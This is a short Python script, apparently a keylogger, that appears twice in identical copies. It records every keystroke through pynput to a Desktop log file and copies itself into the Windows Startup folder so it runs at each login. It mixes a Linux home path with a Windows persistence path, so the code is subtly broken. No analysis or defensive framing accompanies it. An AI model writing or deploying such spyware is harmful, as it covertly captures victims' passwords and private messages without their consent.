import os
import logging
from pynput.keyboard import Listener
from shutil import copyfile


username = os.getlogin()
logging_directory = f"/home/{username}/Desktop"

copyfile('keylogger.py',
         f'C:/Users/{username}/AppData/Roaming/Microsoft/Start Menu/Startup/keylogger.py')

logging.basicConfig(filename=f"{logging_directory}/mylog.txt",
                    level=logging.DEBUG, format="%(asctime)s: %(message)s")


def key_handler(key):
    logging.info(key)


with Listener(on_press=key_handler) as listener:
    listener.join()

import os
import logging
from pynput.keyboard import Listener
from shutil import copyfile


username = os.getlogin()
logging_directory = f"/home/{username}/Desktop"

copyfile('keylogger.py',
         f'C:/Users/{username}/AppData/Roaming/Microsoft/Start Menu/Startup/keylogger.py')

logging.basicConfig(filename=f"{logging_directory}/mylog.txt",
                    level=logging.DEBUG, format="%(asctime)s: %(message)s")


def key_handler(key):
    logging.info(key)


with Listener(on_press=key_handler) as listener:
    listener.join()
